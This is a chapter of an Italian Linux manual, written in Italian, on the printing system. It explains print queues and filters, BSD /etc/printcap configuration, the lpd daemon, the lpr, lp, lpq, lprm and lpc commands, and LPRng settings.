30.6.1 A2ps 1671
30.6.2 Enscript 1676

30.7 Filtri particolari con LPRng 1683

30.7.1 Schema di funzionamento 1683
30.7.2 Script «lpr» e «lp» 1685
30.7.3 Funzioni usate da «client-side-print-filter» 1685
30.7.4 Lo script «client-side-print-filter» 1692

30.8 Introduzione a Cups 1694

30.8.1 Visione generale 1694
30.8.2 Stampanti logiche, classi e istanze 1695
30.8.3 Configurazione di una stampante locale 1695
30.8.4 Configurazione di una stampante remota 1697

30.9 Cups: programmi di servizio e configurazione 1699

30.9.1 Individuazione automatica delle stampanti 1699
30.9.2 Amministrazione 1700
30.9.3 Configurazione principale del servizio di stampa 1702
30.9.4 Configurazione dal lato dei clienti 1705
30.9.5 Utilizzo comune attraverso la riga di comando 1705
30.9.6 Personalizzazione dal lato cliente 1708
30.9.7 Accesso remoto 1709
30.9.8 Compatibilità con il sistema di stampa BSD 1712
30.9.9 Considerazioni finali 1713

30.10 Riferimenti 1713

`.cupsrc` 1705 `/etc/magicfilter/` 1665 `checkpc` 1646 `client.conf` 1705 `cupsaccept` 1700 `cupsd.conf` 1702 1709 `cupsdisable` 1700 `cupsenable` 1700 `cupsreject` 1700 `gtkrc` 1649 `hosts.equiv` 1646 `hosts.lpd` 1646 `lp` 1642 `lp0` 1631 `lpadmin` 1700 `lpc` 1645 `lpd` 1635 1641 `lpd.conf` 1646 `lpd.perms` 1646 `lpinfo` 1699 `lpq` 1643 `lpr` 1635 1642 `lprm` 1644 `passwd.md5` 1711 `printcap` 1636 `$PRINTER` 1642

30.1 Introduzione alla stampa

Tradizionalmente, il dispositivo di stampa permette solo la scrittura, cioè si comporta come un file al quale si possono solo aggiungere dati. In questa situazione, la stampa si ottiene semplicemente trasferendo (copiando) un file alla stampante. Naturalmente, il file deve essere stato predisposto in modo da poter essere interpretato correttamente dalla stampante che si utilizza.

Quando si ha la necessità di applicare una trasformazione al file da stampare, prima che questo raggiunga la stampante, si utilizza normalmente un filtro di stampa, cioè un programma o uno script che può essere inserito in un condotto. I filtri di stampa vengono quindi utilizzati sia per adattare i file da stampare alle caratteristiche particolari della stampante che si ha a disposizione, sia per ottenere degli effetti, come l'aggiunta di intestazioni.

Esistono nel mercato delle stampanti che non si accontentano di ricevere un file per iniziare a stampare, ma richiedono l'utilizzo di un protocollo di comunicazione, che spesso è mantenuto segreto. Queste stampanti, per funzionare, hanno bisogno della presenza di un programma speciale, predisposto dalla casa produttrice; pertanto non sono compatibili in alcun modo con i sistemi GNU. Si tratta in particolare delle stampanti che utilizzano il cosiddetto *Windows printing system*. Si deve fare attenzione quindi, prima di acquistare una stampante da usare con un sistema GNU.

Questa parte del documento, dedicata alla stampa, fa riferimento a concetti che possono essere chiariti solo più avanti, come la stampa remota e l'utilizzo di strumenti grafici. Sotto questo aspetto, l'argomento dovrebbe essere trattato più tardi; tuttavia, dal momento che l'esigenza di stampare si avverte molto presto, l'argomento viene anticipato. Pertanto, chi ha l'esigenza di realizzare un servente di stampa in grado di ricevere richieste da una rete, se non è già informato su queste cose, deve attendere e leggere una serie di capitoli sul TCP/IP a partire da 38.

Per poter utilizzare la stampante con un sistema GNU/Linux, occorre avere compilato il kernel inserendo la gestione delle porte di comunicazione necessarie e della stampa stessa.

30.1.1 Dispositivi e stampa brutale

I file di dispositivo associati alla stampa, in un sistema GNU/Linux, dipendono dal tipo di porta di comunicazione utilizzato. A titolo di esempio, la prima stampante collegata su porta parallela dovrebbe essere accessibile attraverso il file di dispositivo '`/dev/lp0`', mentre alla prima stampante collegata a un bus USB si associa di solito il file '`/dev/usb/lp0`'.

Eventualmente, si può controllare con il comando seguente:

$ **dmesg | less** [*Invio*]

Dal risultato che si ottiene, si deve cercare una riga simile a quella seguente:

```
lp0: using parport0 (polling)
```

L'utente '**root**' può utilizzare direttamente il dispositivo di stampa copiando su di esso il file che vuole stampare:

cp stampa.prn /dev/lp0 [*Invio*]

Si tratta comunque di un modo di utilizzo della stampante decisamente sconsigliabile o quantomeno da riservare a circostanze particolari. Un'azione del genere corrisponde a quello che in ambiente Dos si può fare nel modo seguente:

C:> **COPY /B STAMPA.PRN LPT1:** [*Invio*]

30.1.2 Visione generale e astratta

Il sistema di stampa tipico si avvale di una coda, ovvero di un deposito in cui accodare i file da inviare alla stampante. Di solito, il programma che si occupa di inserire il file da stampare nella coda non fa altro: per inviare questi file alla stampante c'è un demone apposito che attende di vedere qualcosa nella coda (figura 30.2).

Figura 30.2. Coda di stampa in un sistema locale chiuso.

Quando il sistema di stampa gestisce anche le stampe remote, si introduce un protocollo di comunicazione e, assieme a questo, anche qualche problema in più. Dal lato dell'elaboratore che offre il servizio ci deve essere un demone in grado di ricevere queste richieste di stampa, con il compito di accodare tali stampe nel proprio sistema (figura 30.3).

Figura 30.3. Coda di stampa in un sistema che riceve richieste dall'esterno, attraverso la rete.

Per inviare una richiesta di stampa a un elaboratore remoto, ci possono essere due tipi di approcci. Nella situazione più semplice, un programma potrebbe provvedere da solo a ricevere il file da stampare e a instaurare la connessione con il nodo di rete remoto al quale questo deve essere rinviato per la stampa; in alternativa, potrebbe essere la stessa coda di stampa locale che si occupa di rinviare la stampa a un nodo di rete remoto (figura 30.4).

Figura 30.4. Trasmissione delle stampe a un nodo di rete remoto.

Spesso, molte funzionalità sono raggruppate assieme in uno stesso programma, o in uno stesso demone. Per esempio, è normale che il demone che si occupa di provvedere alla stampa di ciò che trova nella coda, sia anche in grado di ricevere una richiesta di stampa dall'esterno, provvedendo da solo ad accodarla, ed è normale che lo stesso demone sia in grado di instaurare una connessione con un altro servizio di stampa remoto quando deve demandare la stampa a quel sistema.

30.1.3 Problemi collegati con la stampa remota

La stampa remota introduce tanti piccoli problemi e spesso si deve penare un po' prima di arrivare al risultato. Per prima cosa è necessario che ci sia accordo tra il programma che invia una richiesta di stampa e quello che deve riceverla, cosa questa che riguarda la coerenza con i protocolli relativi. Tuttavia, il protocollo standard che esiste attualmente è insufficiente per le esigenze reali (RFC 1179) e ogni sistema di stampa introduce le sue estensioni più o meno incompatibili con gli altri.

Quando un sistema offre un servizio attraverso la rete, come nel caso di un servente di stampa, si pone il problema di non accettare tutte le richieste incondizionatamente e di stabilire chi sia abilitato ad accedere. In pratica, occorre autenticare gli accessi. Questo problema non è previsto dal protocollo citato e il sistema di stampa che vuole essere compatibile con tutto, può solo limitarsi a selezionare gli accessi in base alla loro origine.

L'ultimo problema da considerare è legato al fatto che con la stampa remota si fanno transitare le informazioni relative attraverso la rete, rischiando l'intercettazione di informazioni che potrebbero essere delicate. Un sistema di stampa evoluto potrebbe prevedere la cifratura di queste comunicazioni, introducendo una propria estensione al protocollo standard.

30.1.4 Filtri di stampa

Nel momento in cui si considera che per stampare si prepara un file e lo si invia alla stampante, per gestire stampanti di tipo diverso in modo trasparente, basta realizzare dei programmi filtro appositi con lo scopo di rielaborare i dati nel modo più opportuno prima di passarli effettivamente alla stampante.

Questi programmi filtro potrebbero essere inseriti in diversi punti della catena di un sistema di stampa; in particolare si potrebbe scegliere se questa elaborazione deve avvenire prima dell'inserimento nella coda di stampa, o se questo debba avvenire dopo. Di solito, i file vengono messi nella coda così come sono, ed è il demone di stampa che si occupa di farli rielaborare da un programma filtro adatto (figura 30.5).

Figura 30.5. Introduzione di un filtro in un sistema di stampa tipico.

Tuttavia, occorre considerare che si possono fare delle acrobazie imprevedibili per un principiante, per cui la distinzione non diventa più tanto netta. Infatti, capita a volte che il programma filtro prenda i dati e non restituisca nulla, o meglio, invece di restituire qualcosa nel modo previsto, potrebbe farci qualcosa di diverso (si vede la sezione 30.1.6 e la figura 30.6).

30.1.5 Stampanti virtuali multiple

Un sistema di stampa come descritto astrattamente in queste sezioni, potrebbe essere in grado di gestire code differenti, senza che questo implichi la disponibilità effettiva di più stampanti collegate allo stesso elaboratore. Dal punto di vista del sistema di stampa, queste code sono delle stampanti «virtuali» collegate in qualche modo a delle stampanti reali.

Per fare un esempio pratico, un sistema di stampa potrebbe essere stato configurato in modo da avere due code di stampa: per una stampante locale per una stampante remota. In questo modo, quando si richiede di stampare utilizzando una coda, si ottiene alla fine la stampa attraverso la propria stampante locale, mentre utilizzando l'altra, si ottiene l'invio di una richiesta di stampa a un sistema remoto.

Le possibilità non si limitano a questo; per esempio le code potrebbero essere state distinte perché a ognuna di queste viene attribuito un filtro di stampa diverso, di solito per permettere di utilizzare una stampante differente da quella solita. Per esempio, si potrebbe avere la coda denominata '**`lp`**' per la stampa diretta senza filtri; la coda '**`lp-lj`**' da utilizzare quando si collega una stampante HP Laserjet o compatibile; la coda '**`lp-ps`**' da utilizzare quando si collega una stampante PostScript.

30.1.6 Quando il meccanismo dei filtri non funziona bene

In precedenza è stato mostrato lo schema di un sistema di stampa che permette l'inserimento di un filtro prima di arrivare alla stampante. Si è accennato anche al fatto che il demone che legge la coda, mandando i dati al filtro, potrebbe essere difettoso e non essere in grado di rileggere ciò che restituisce il filtro stesso. In questi casi, che sono capitati effettivamente, si può attuare un rimedio, apparentemente un po' strano: il programma filtro, invece di restituire il risultato della sua elaborazione attraverso lo standard output, lo invia in un'altra coda di stampa, per la quale non è previsto alcun filtro (figura 30.6).

Figura 30.6. Quando il meccanismo del filtro è zoppicante.

coda di stampa che prevede un filtro
demone di stampa
programmao filtro che rielabora
coda di stampa che non prevede alcun filtro
demone di stampa
alla stampante locale o remota

Riprendendo l'esempio già descritto in precedenza, in cui la coda denominata '**`lp`**' è prevista per la stampa diretta senza filtri e la '**`lp-lj`**' è fatta per stampare attraverso una stampante HP Laserjet o compatibile, il filtro abbinato a questa seconda coda, potrebbe semplicemente inviare il risultato della sua elaborazione nella coda di stampa normale, '**`lp`**', che non avendo filtri non ha alcun problema.

30.2 Sistema di stampa BSD o compatibile

Nei sistemi Unix non esiste un sistema di stampa «standard» per vari motivi, a cominciare dal fatto che i pochi riferimenti disponibili hanno caratteristiche insufficienti rispetto alle esigenze attuali. Bene o male, i comandi per la stampa tendono a imitare il comportamento del sistema di stampa BSD, ovvero il lavoro di Berkeley. [1] Alcune distribuzioni GNU/Linux utilizzano proprio il sistema BSD, altre preferiscono qualcosa di più potente che gli assomiglia vagamente. In generale, non è il caso di approfondire questo o quel sistema di stampa, proprio perché si tratta di una materia in evoluzione, a meno che ci siano delle esigenze particolari, nel qual caso si possono studiare le pagine di manuale o la documentazione che accompagna il sistema di stampa che offre la propria distribuzione GNU.

Figura 30.7. Coda di stampa in stile BSD.

Come si può vedere nella figura 30.7, il sistema di stampa in stile BSD si avvale del programma '**`lpr`**' per accodare le stampe e del demone '**`lpd`**' per gestire la stampa di ciò che è stato accodato, oltre che per ricevere le richieste attraverso la rete. Fa parte della tradizione anche il file di configurazione '`/etc/printcap`', nel quale vengono definite le varie code di stampa, a cui si possono abbinare o meno dei filtri opportuni.

30.2.1 Configurazione con «/etc/printcap»

La configurazione di un sistema di stampa in stile BSD avviene principalmente attraverso il file '`/etc/printcap`', con il quale si definiscono le code di stampa e il loro comportamento. Il suo contenuto è organizzato in record, dove ognuno di questi contiene le informazioni relative a una coda. I campi di questi record sono separati da due punti verticali (alle volte doppi e altre singoli) e possono essere spezzati su più righe, utilizzando la barra obliqua inversa ('****') seguita immediatamente dal codice di interruzione di riga. Si osservi il fatto che l'ultimo campo è concluso da due punti.

***campo_1* : *campo_2* : ... : *campo_n* :**

campo_1 : \
 : *campo_2* : \
 : *campo_3* : \
 ...
 : *campo_n_1* : \
 : *campo_n* :

Il sistema di stampa BSD originale richiede il simbolo di continuazione delle righe nel caso i record vengano spezzati, mentre altri sistemi compatibili, potrebbero farne a meno. In generale, è sempre meglio indicare la continuazione, anche se ciò non dovesse servire.

All'interno di questo file si possono trovare le indicazioni di code differenti che si riferiscono a un'unica stampante reale, per esempio quando si utilizzano configurazioni multiple per la stessa unità fisica.

Si osservi che il simbolo '**#**' rappresenta l'inizio di un commento, con il quale, il testo che segue fino alla fine della riga non viene tenuto in considerazione; nello stesso modo vengono ignorate le righe vuote e quelle bianche.

Viene mostrato subito un esempio, il cui contenuto viene poi descritto gradualmente in questa sezione:

```
# Stampante predefinita
lp|laserjet|HP Laserjet:\
        :sd=/var/spool/lpd/lp:\
        :mx#0:\
        :sh:\
        :lp=/dev/lp0:\
        :if=/var/spool/lpd/lp/filtro:

# Stampa di testo
ascii:\
        :sd=/var/spool/lpd/tx:\
        :mx#0:\
        :sh:\
        :lp=/dev/lp0:\
        :if=/var/spool/lpd/ascii/filtro:

# Stampa diretta senza filtri
bare:\
        :sd=/var/spool/lpd/bare:\
        :mx#0:\
        :sh:\
        :lp=/dev/lp0:

# Stampante condivisa dell'elaboratore weizen.mehl.dg
net:\
```

```
        :sd=/var/spool/lpd/net:\
        :mx#0:\
        :sh:\
        :rm=weizen.mehl.dg:\
        :rp=lp:\
        :if=/var/spool/lpd/net/filtro:
```

Il primo campo di ogni record identifica tutti gli pseudonimi possibili di una certa coda di stampa, solitamente per identificare anche la stampante a cui la coda è abbinata. Questi sono separati da una barra verticale. Gli altri campi contengono tutti una sigla identificativa composta da due caratteri, seguita eventualmente da un valore che gli viene attribuito.

nome_coda [| ***nome_stampante***]... : { ***sigla_campo*** [***assegnamento***] : }...

La presenza di queste sigle permette in pratica di avere un numero variabile di campi, con un ordine variabile, dove solo il primo ha un ruolo prestabilito: quello di identificare la coda.

Nel preparare questo file è molto importante fare bene attenzione a non lasciare spazi di qualunque tipo dopo i simboli di continuazione ('\'), altrimenti questi simboli verrebbero intesi solo come una sequenza di escape che conferma il valore letterale del carattere che segue e non ci sarebbe alcuna continuazione. Questa considerazione è importante, perché poi è difficile scoprire errori del genere.

Il sistema di stampa BSD tradizionale prevede una quantità molto grande di campi nei record di '`/etc/printcap`'. Le esigenze attuali sono tali per cui i campi che si utilizzano in pratica sono molto pochi e non vale la pena di approfondire tecniche ormai superate, riferite a campi che in alcuni sistemi derivati potrebbero anche non essere più disponibili. La tabella 30.9 riepiloga i campi più comuni.

Tabella 30.9. I campi più importanti dei record che compongono il file '`/etc/printcap`'.

Campo	Significato	Descrizione
`if`	*Input filter*	Filtro di ingresso.
`lf`	*Log file*	File per la registrazione degli errori.
`af`	*Account file*	File per la registrazione della contabilità.
`lp`	*Line printer*	File di dispositivo di stampa.
`mx`	*Max*	Dimensione massima di una stampa.
`pl`	*Page length*	Altezza della pagina in righe.
`pw`	*Page width*	Larghezza della pagina in caratteri.
`pc`	*Price*	Prezzo per pagina.
`rm`	*Remote machine*	Nodo di rete remoto per la stampa.

Campo	Significato	Descrizione
`rp`	*Remote printer*	Coda di stampa remota.
`sd`	*Spool directory*	Directory usata per la coda.
`sf`	*Suppress feed*	Soppressione dell'avanzamento di separazione.
`sh`	*Suppress header*	Soppressione dell'intestazione.

I campi possono servire a indicare informazioni di tipo diverso e a seconda di questo cambia il modo con cui i dati relativi sono indicati:

- campi alfanumerici -- dopo il nome del campo viene aggiunto il simbolo '**`=`**' seguito dalla stringa racchiusa eventualmente tra apici doppi;
- campi numerici -- dopo il nome del campo viene aggiunto il simbolo '**`#`**' seguito dal numero;
- campi booleani -- hanno il valore *Vero* se appaiono nel record.

Campo	Descrizione
`if=`***filtro_di_ingresso***	Indica il percorso assoluto del programma, o dello script, che serve come filtro dei dati in ingresso. Il programma o lo script in questione deve essere in grado di ricevere i dati dallo standard input e di emettere il risultato attraverso lo standard output.
`lf=`***file_delle_registrazioni***	Permette di specificare il percorso assoluto di un file da utilizzare come registro degli eventi importanti che riguardano la stampa. In generale serve per annotare gli errori.
`lp=`***file_di_dispositivo***	È indispensabile e serve a indicare il file di dispositivo corrispondente alla porta presso cui è connessa la stampante.
`mx#`***n***	Indica la dimensione massima (in multipli di 1024 byte) di un file di stampa. Di solito, questo campo viene indicato con il valore zero ('**`mx#0`**'), per non porre alcun limite di dimensione.
`rm=`***nodo***	Indica un nodo di rete a cui ci si deve connettere per richiedere la stampa.
`rp=`***nome_coda_remota***	Si utilizza in abbinamento con il campo '**`rm`**', allo scopo di indicare esplicitamente il nome della coda di stampa remota.
`sd=`***directory_contenente_la_coda***	Indica il percorso della directory da utilizzare per la gestione di questa coda. In linea di principio, dovrebbe essere possibile usare una sola directory per più code di stampa, al contrario di quanto si vede nell'esempio introduttivo.
`sf`	È un campo booleano che, se presente, elimina l'avanzamento della carta alla fine di ogni processo di stampa.
`sh`	È un campo booleano che, se presente, elimina l'emissione dell'informazione sul programma cliente che ha richiesto la stampa, nella pagina di intestazione (ovvero di separazione) tra un processo di stampa e il successivo. Se viene usato in combinazione con '**`sf`**', viene eliminata completamente la pagina di separazione.

Di seguito vengono descritte alcune porzioni dell'esempio introduttivo.

```
bare:\
        :sd=/var/spool/lpd/bare:\
        :mx#0:\
        :sh:\
        :lp=/dev/lp0:
```

La voce '**bare**' indica semplicemente le informazioni seguenti:

- la directory usata per la coda di stampa è '/var/spool/lpd/bare/', tenendo conto che la scelta del nome finale '.../bare/' non è obbligatoria, ma è solo conveniente all'amministratore del sistema;
- l'indicazione della dimensione massima del file è azzerata, stando a significare che non vengono posti dei limiti;
- la pagina di intestazione non viene generata;
- il file di dispositivo corrispondente alla porta della stampante è '/dev/lp0'.

La cosa importante da notare in questo tipo di definizione è che non è stato indicato un filtro per i dati. Ciò significa che i dati da inviare alla stampante non subiscono trasformazioni; infatti, il nome '**bare**' è stato scelto opportunamente.

```
lp|laserjet|HP Laserjet:\
        :sd=/var/spool/lpd/lp:\
        :mx#0:\
        :sh:\
        :lp=/dev/lp0:\
        :if=/var/spool/lpd/lp/filtro:
```

Questo record del file '/etc/printcap' è più complesso. Per prima cosa si nota che è possibile fare riferimento a questo utilizzando tre nomi possibili: '**lp**', '**laserjet**' o '**HP Laserjet**'. A parte questo, si nota l'inserimento di un filtro di ingresso. Il file '/var/spool/lpd/lp/filtro' potrebbe essere un programma o uno script che esegue un qualche tipo di trasformazione sui dati ricevuti.

```
net:\
        :sd=/var/spool/lpd/net:\
        :mx#0:\
        :sh:\
        :rm=weizen.mehl.dg:\
        :rp=lp:\
        :if=/var/spool/lpd/net/filtro:
```

Questo esempio rappresenta un record del file '/etc/printcap' che dichiara l'utilizzo di una stampante remota. La differenza sta quindi nel fatto che il campo '**lp**' è assente e al suo posto si utilizzano '**rm**' e '**rp**' per indicare rispettivamente il nome dell'elaboratore remoto

(*weizen.mehl.dg*) e il nome della coda presso l'elaboratore remoto.

Quando si utilizza una stampante remota, nel caso in cui i dati da stampare richiedano un'elaborazione attraverso un filtro, occorre decidere se tale elaborazione debba avvenire prima dell'invio, o alla destinazione. In questo caso, viene indicato un filtro attraverso il campo '**if**': probabilmente, la coda corrispondente al nome '**lp**' dell'elaboratore remoto non ha un filtro adatto.

30.2.2 Servizio di stampa

Il servizio di stampa nel sistema derivato da BSD è gestito dal demone '**lpd**'. Questo si occupa principalmente di scandire le code e di mettere in stampa ciò che vi dovesse trovare. È anche in grado di ricevere richieste di stampa attraverso la rete, occupandosi di metterle in coda; infine, è anche capace di inviare una richiesta di stampa a un nodo di rete remoto.

In condizioni normali, '**lpd**' non richiede argomenti nella riga di comando; comunque, la sintassi degli argomenti di '**lpd**' è molto diversa da un sistema all'altro.

Ogni sistema di stampa utilizza le proprie tecniche di autorizzazione per concedere l'accesso al servizio di stampa. In generale, un sistema di stampa installato attraverso i pacchetti della propria distribuzione GNU/Linux dovrebbe consentire la stampa quando questa è richiesta a partire dallo stesso elaboratore locale; mentre per consentire l'accesso dall'esterno, occorre predisporre altri file di configurazione che non sono standard.

Di solito, il servizio di stampa viene avviato e arrestato attraverso uno script della procedura di inizializzazione del sistema, che potrebbe assomigliare all'esempio seguente:

```
#!/bin/sh

test -f /usr/sbin/lpd || exit 0

case "$1" in
  start)
        printf "Avvio del servizio di stampa: "
        /usr/sbin/lpd
        echo
        ;;
  stop)
        printf "Disattivazione del servizio di stampa: "
        killall lpd
        echo
        ;;
  *)
        echo "Utilizzo: lpd {start|stop}"
        exit 1
esac
```

Dal momento che la stampa è controllata da un demone, quando si modifica il file di configurazione '`/etc/printcap`', bisogna fare in modo che '**lpd**' lo rilegga. Questo lo si può

ottenere arrestando e riavviando il servizio, oppure inviando al processo del demone un segnale di aggancio ('**SIGHUP**'):

```
kill -HUP pid_di_lpd
```

30.2.3 Stampante predefinita

Il file '/etc/printcap' permette di definire le code di stampa, comprese quelle che fanno riferimento a servizi remoti. Tra queste code, è necessario stabilire quale sia quella predefinita, ovvero quella che deve essere presa in considerazione quando non vi si fa riferimento in modo esplicito.

La coda predefinita (ovvero la stampante predefinita) corrisponde per tradizione al nome '**lp**', ma questa definizione può essere alterata utilizzando la variabile di ambiente ***PRINTER***. Se esiste, definisce il nome della stampante predefinita, altrimenti resta '**lp**'.

È importante tenere presente che la politica del proprio sistema di stampa potrebbe essere anche differente; per esempio, in mancanza di indicazioni la coda predefinita potrebbe essere quella corrispondente alla prima dichiarazione del genere nel file '/etc/printcap'. A questo proposito, è bene che la definizione della coda tradizionale '**lp**', sia sempre la prima.

30.2.4 Clienti di stampa

Il cliente del sistema di stampa è un programma in grado di accodare una stampa. In generale, nei sistemi di stampa derivati da quello di BSD si utilizza il programma '**lpr**', ma nello standard POSIX è previsto invece il programma '**lp**':

```
lpr [opzioni] [file...]
```

```
lp [opzioni] [file...]
```

In condizioni normali, questi programmi sono in grado di mettere in stampa i file indicati alla fine della riga di comando, oppure, in loro mancanza, utilizzano per questo lo standard input. Sono molto poche le opzioni standard di questi programmi e, in generale, la cosa più importante è la definizione della coda di stampa a cui si vuole inviare il file:

```
lpr -P coda [file...]
```

```
lp -d coda [file...]
```

Lo schema sintattico semplificato mostra esattamente questa possibilità, sia per '**lpr**' che per '**lp**'. Si osservi in particolare che nel caso di '**lpr**', la tradizione prevede anche che il nome della coda possa essere attaccato alla lettera dell'opzione.

Tabella 30.15. Alcune opzioni di '**lpr**'.

Opzione	Descrizione
-P***coda*** -P ***coda***	Permette di specificare una coda di stampa particolare, tra quelle previste all'interno di '/etc/printcap'. Se non viene utilizzata questa opzione, si fa riferimento alla stampante predefinita (che di solito è '**lp**').
-m	Al termine della stampa, invia un messaggio attraverso '**mail**' all'utente che ha avviato il programma.
-#***n_copie***	Permette di specificare il numero di copie che si vuole siano stampate. Il numero di copie è indicato da un numero che segue il simbolo '**#**'.

Tabella 30.16. Alcune opzioni di '**lp**'.

Opzione	Descrizione
-d ***coda***	Permette di specificare una coda di stampa particolare, tra quelle previste all'interno di '/etc/printcap'. Se non viene utilizzata questa opzione, si fa riferimento alla stampante predefinita (che di solito è '**lp**').
-m	Al termine della stampa, invia un messaggio attraverso '**mail**' all'utente che ha avviato il programma.
-n ***n_copie***	Permette di specificare il numero di copie che si vuole siano stampate.

Segue la descrizione di alcuni esempi.

- $ **lpr lettera** [*Invio*]

  oppure

  $ **lp lettera** [*Invio*]

  Accoda la stampa del file 'lettera' utilizzando la coda predefinita.

- $ **lpr -P laser lettera** [*Invio*]

  oppure

  $ **lp -d laser lettera** [*Invio*]

  Accoda la stampa del file 'lettera' utilizzando la coda identificata con il nome '**laser**' all'interno del file '/etc/printcap'.

- $ **lpr -Plaser lettera** [*Invio*]

  Esattamente come nell'esempio precedente.

- $ **ls -l | lpr** [*Invio*]

  oppure

  $ **ls -l | lp** [*Invio*]

  Accoda la stampa dell'elenco della directory corrente. In pratica, viene accodato quanto proveniente dallo standard input che proviene dal comando '**ls -l**'.

30.2.5 Esame delle code di stampa

Per conoscere la situazione delle code di stampa si utilizza il comando '**lpq**':

```
lpq [opzioni] [numero_processo_di_stampa...] [utente...]
```

Il programma '**lpq**' esamina le code di stampa e restituisce lo stato di una o di tutte le stampe accodate dall'utente specificato. Se '**lpq**' viene eseguito senza alcun argomento, restituisce lo stato di tutte le stampe accodate.

Tabella 30.17. Alcune opzioni.

Opzione	Descrizione
`-P` ***coda***	Permette di specificare una coda particolare. Se non viene specificato, si fa riferimento a quella predefinita.
`-l`	Restituisce maggiori informazioni su ogni processo di stampa.

30.2.6 Rimozione dei processi di stampa dalle code

I processi di stampa che risultano ancora visibili nelle code, possono essere rimossi dall'utente che li ha generati, o dall'utente '**root**'.

```
lprm [opzioni] [utente...]
```

Permette di rimuovere uno o più processi di stampa accodati precedentemente. Il nome dell'utente può essere specificato solo se il comando viene utilizzato dall'utente '**root**', nel senso che solo lui può interrompere la stampa di altri utenti. Se non viene specificato il nome dell'utente, si intende che si tratti dello stesso che ha eseguito '**lprm**'. Se non vengono specificati argomenti, l'esecuzione del comando '**lprm**' implica l'eliminazione della stampa in corso per l'utente che lo ha richiesto. Naturalmente, ciò vale solo se l'utente in questione ha, in quel momento, una stampa in esecuzione.

Se l'utente '**root**' utilizza '**lprm**' senza specificare un utente a cui fare riferimento, ottiene l'eliminazione di tutti i processi di stampa nelle code, attivi o meno che siano.

Tabella 30.18. Alcune opzioni.

Opzione	Descrizione
`-P` ***coda***	Permette di specificare una coda particolare. Se non viene specificata, si fa riferimento alla coda predefinita.
numero_processo_di_stampa...	Se tra gli argomenti vengono indicati uno o più numeri, questi si intendono riferiti ai processi di stampa che si vogliono eliminare.

30.2.7 Controllo del sistema di stampa

L'utente '**`root`**' controlla il sistema di stampa, ovvero il funzionamento dei vari demoni '**`lpd`**', attraverso il programma '**`lpc`**':

```
lpc [comando [argomento...]]
```

Le possibilità effettive di '**`lpc`**' dipendono dalle caratteristiche del sistema di stampa. In generale, per ogni coda di stampa configurata all'interno di '`/etc/printcap`', '**`lpc`**' può eseguire le azioni seguenti:

- disabilitare o abilitare una stampante;
- disabilitare o abilitare una coda di stampa;
- modificare l'ordine dei processi di stampa in coda;
- visualizzare lo stato delle stampanti, delle code relative e dei demoni che se ne occupano.

Se '**`lpc`**' viene avviato senza argomenti, si attiva la modalità di comando evidenziata dalla presenza dell'invito '**`lpc>`**'. Se invece vengono forniti degli argomenti, il primo di questi viene interpretato come un comando, mentre i restanti come parametri del comando. È possibile inviare a '**`lpc`**', attraverso lo standard input, un file contenente una serie di comandi.

Il programma '**`lpc`**' può essere eseguito anche da un utente comune, ma in tal caso sono disponibili solo alcune funzioni.

Tabella 30.19. Comandi a disposizione di tutti gli utenti.

Comando	Descrizione
`?` [*comando*...] `help` [*comando*...]	Visualizza una descrizione sintetica dei comandi elencati, oppure, se non ne viene indicato alcuno, l'elenco di tutti i comandi a disposizione.
`exit` `quit`	Termina l'esecuzione di '**`lpc`**'.
`status` {`all` | *coda*}	Visualizza lo stato della coda di stampa locale indicata, oppure di tutte, se si utilizza la parola chiave '**`all`**'.

Tabella 30.20. Comandi a disposizione dell'utente '**`root`**'.

Comando	Descrizione
`abort` {`all` | *coda*}	Termina l'esecuzione del demone attivo che si occupa della stampa nell'elaboratore locale, quindi disabilita la stampa, prevenendo l'avvio di altri demoni da parte di '**`lpr`**'. Quando viene riavviata la stampa, riprende il processo di stampa attivo nel momento dell'interruzione.
`enable` {`all` | *coda*} `disable` {`all` | *coda*}	Abilita o disabilita l'uso della coda specificata, consentendo o impedendo la generazione di nuovi processi di stampa.

Comando	Descrizione
up {all | *coda*} down {all | *coda*} *messaggio*	Abilita o disabilita l'uso della coda indicata, consentendo o bloccando la stampa dei processi di stampa esistenti.
start {all | *coda*} stop {all | *coda*}	Avvia o arresta il demone che gestisce la coda. Nel caso di arresto, questo avviene al termine del processo di stampa eventualmente in esecuzione. Tuttavia, gli utenti possono continuare ad accodare stampe. Il comando '**start**' può essere utile anche per riavviare un demone che per qualche ragione ha cessato di funzionare in modo inatteso.
topq *coda* ↩ ↪ [*numero_processo_di_stampa*...]	Cambia l'ordine di esecuzione dei processi di stampa ponendo quelli indicati in precedenza rispetto agli altri.

30.2.8 Particolarità del sistema BSD vero e proprio

Il sistema di stampa BSD prevede l'uso dei file '`/etc/hosts.equiv`' e '`/etc/hosts.lpd`'. Questi servono a elencare i nomi degli elaboratori remoti cui è consentito collegarsi per ottenere l'accesso al sistema di stampa locale. Per la precisione, è il file '`/etc/hosts.lpd`' che dovrebbe essere utilizzato per questo tipo di autorizzazione; tuttavia, dal momento che l'elenco contenuto in '`/etc/hosts.equiv`' serve già per consentire l'accesso attraverso programmi come Rsh (42.7.2), è ragionevole che anche a questi sia concesso di accedere al servizio di stampa.

È importante ribadire che con questo sistema di stampa, se non si predispone correttamente il file '`/etc/hosts.lpd`', oppure il file '`/etc/hosts.equiv`', o entrambi, non si ottiene l'accesso da clienti remoti.

Con il sistema di stampa BSD non è possibile accedere a stampanti remote se non è stata prevista una coda locale corrispondente nel file di configurazione '`/etc/printcap`' (con l'uso dei campi '**rm**' e '**rp**'). Per questo esistono anche dei programmi di servizio specifici che instaurano una connessione con il sistema remoto di stampa in modo autonomo. Si tratta di '**rlpr**' e '**rlpq**', che vengono descritti più avanti.

30.2.9 Particolarità di LPRng

Il sistema di stampa LPRng[2] è molto più evoluto rispetto a quello della tradizione BSD, anche se di solito viene utilizzato in modo abbastanza conforme a quello; tuttavia consentirebbe di accedere a delle estensioni sofisticate, soprattutto per ciò che riguarda la stampa remota.

LPRng fa uso di '`/etc/printcap`' e di altri file di configurazione; precisamente si tratta di '`/etc/lprng/lpd.conf`' e di '`/etc/lprng/lpd.perms`'. Per quanto riguarda '`/etc/printcap`', c'è da osservare che i record di definizione delle code, possono essere continuati su più righe, anche senza utilizzare il simbolo di continuazione ('\').

Se il pacchetto utilizzato per installare LPRng è stato predisposto correttamente, non dovrebbe essere necessario indicare alcunché nel file di configurazione '`/etc/lprng/lpd.conf`', che di solito viene fornito commentato completamente, con gli esempi delle varie direttive che vi potrebbero apparire. Eventualmente, può essere interessante abilitare la stampa di più copie attraverso la direttiva seguente nel file '`/etc/lprng/lpd.conf`':

```
# Max number of copies.
mc#10000000
```

